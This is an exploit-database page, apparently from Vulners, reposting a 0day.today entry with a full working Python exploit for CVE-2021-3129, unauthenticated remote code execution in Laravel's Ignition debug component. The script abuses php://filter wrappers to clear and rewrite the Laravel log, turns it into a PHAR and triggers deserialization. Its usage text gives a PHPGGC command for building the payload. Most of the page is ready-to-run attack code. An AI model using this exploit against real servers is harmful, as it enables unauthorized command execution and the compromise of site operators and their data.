Lucene search
K

Ignition 2.5.1 Remote Code Execution Exploit

🗓️ 07 Apr 2021 00:00:00Reported by zdtType 
zdt
 zdt
🔗 0day.today👁 293 Views

Laravel debug mode Remote Code Execution Exploit, Ignition vulnerability allows unauthenticated attackers to execute arbitrary code using insecure file operations

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2021-3129
25 Jan 202108:42
githubexploit
GithubExploit
Exploit for CVE-2021-3129
11 Oct 202208:53
githubexploit
GithubExploit
Exploit for CVE-2021-3129
30 Sep 202217:54
githubexploit
GithubExploit
Exploit for CVE-2021-3129
19 May 202421:25
githubexploit
GithubExploit
Exploit for CVE-2021-3129
29 Sep 202405:09
githubexploit
GithubExploit
Exploit for CVE-2021-3129
27 Jan 202110:16
githubexploit
GithubExploit
Exploit for CVE-2021-3129
1 Oct 202109:09
githubexploit
GithubExploit
Exploit for CVE-2021-3129
27 Jul 202312:14
githubexploit
GithubExploit
Exploit for CVE-2021-3129
16 Apr 202217:22
githubexploit
GithubExploit
Exploit for CVE-2021-3129
22 Oct 202314:25
githubexploit
Rows per page
# Exploit Title: Laravel debug mode Remote Code Execution (Ignition <= 2.5.1)
# Exploit Author: Tobias Marcotto
# Tested on: Kali Linux x64
# Version: < 2.5.1
# Description: Ignition before 2.5.2, as used in Laravel and other products, allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel before 8.4.2.
# CVE : CVE-2021-3129


*********************************************************************************************************


#!/usr/bin/env python3.7

import base64
import re
import sys
from dataclasses import dataclass

import requests


@dataclass
class Exploit:
    session: requests.Session
    url: str
    payload: bytes
    log_path: str

    def main(self):
        if not self.log_path:
            self.log_path = self.get_log_path()
        
        try:
            self.clear_logs()
            self.put_payload()
            self.convert_to_phar()
            self.run_phar()
        finally:
            self.clear_logs()

    def success(self, message, *args):
        print('+ ' + message.format(*args))

    def failure(self, message, *args):
        print('- ' + message.format(*args))
        exit()

    def get_log_path(self):
        r = self.run_wrapper('DOESNOTEXIST')
        match = re.search(r'"file":"(\\/[^"]+?)\\/vendor\\/[^"]+?"', r.text)
        if not match:
            self.failure('Unable to find full path')
        path = match.group(1).replace('\\/', '/')
        path = f'{path}/storage/logs/laravel.log'
        r = self.run_wrapper(path)
        if r.status_code != 200:
            self.failure('Log file does not exist: {}', path)

        self.success('Log file: {}', path)
        return path
    
    def clear_logs(self):
        wrapper = f'php://filter/read=consumed/resource={self.log_path}'
        self.run_wrapper(wrapper)
        self.success('Logs cleared')
        return True

    def get_write_filter(self):
        filters = '|'.join((
            'convert.quoted-printable-decode',
            'convert.iconv.utf-16le.utf-8',
            'convert.base64-decode'
        ))
        return f'php://filter/write={filters}/resource={self.log_path}'

    def run_wrapper(self, wrapper):
        solution = "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution"
        return self.session.post(
            self.url + '/_ignition/execute-solution/',
            json={
                "solution": solution,
                "parameters": {
                    "viewFile": wrapper,
                    "variableName": "doesnotexist"
                }
            }
        )

    def put_payload(self):
        payload = self.generate_payload()
        # This garanties the total log size is even
        self.run_wrapper(payload)
        self.run_wrapper('AA')

    def generate_payload(self):
        payload = self.payload
        payload = base64.b64encode(payload).decode().rstrip('=')
        payload = ''.join(c + '=00' for c in payload)
        # The payload gets displayed twice: use an additional '=00' so that
        # the second one does not have the same word alignment
        return 'A' * 100 + payload + '=00'

    def convert_to_phar(self):
        wrapper = self.get_write_filter()
        r = self.run_wrapper(wrapper)
        if r.status_code == 200:
            self.success('Successfully converted to PHAR !')
        else:
            self.failure('Convertion to PHAR failed (try again ?)')

    def run_phar(self):
        wrapper = f'phar://{self.log_path}/test.txt'
        r = self.run_wrapper(wrapper)
        if r.status_code != 500:
            self.failure('Deserialisation failed ?!!')
        self.success('Phar deserialized')
        # We might be able to read the output of system, but if we can't, it's ok
        match = re.search('^(.*?)\n<!doctype html>\n<html class="', r.text, flags=re.S)

        if match:
            print('--------------------------')
            print(match.group(1))
            print('--------------------------')
        elif 'phar error: write operations' in r.text:
            print('Exploit succeeded')
        else:
            print('Done')


def main(url, payload, log_path=None):
    payload = open(payload, 'rb').read()
    session = requests.Session()
    #session.proxies = {'http': 'localhost:8080'}
    exploit = Exploit(session, url.rstrip('/'), payload, log_path)
    exploit.main()


if len(sys.argv) <= 1:
    print(
        f'Usage: {sys.argv[0]} <url> </path/to/exploit.phar> [log_file_path]\n'
        '\n'
        'Generate your PHAR using PHPGGC, and add the --fast-destruct flag if '
        'you want to see your command\'s result. The Monolog/RCE1 GC works fine.\n\n'
        'Example:\n'
        '  $ php -d\'phar.readonly=0\' ./phpggc --phar phar -f -o /tmp/exploit.phar monolog/rce1 system id\n'
        '  $ ./laravel-ignition-rce.py http://127.0.0.1:8000/ /tmp/exploit.phar\n'
    )
    exit()

main(sys.argv[1], sys.argv[2], (len(sys.argv) > 3 and sys.argv[3] or None))

#  0day.today [2021-10-13]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation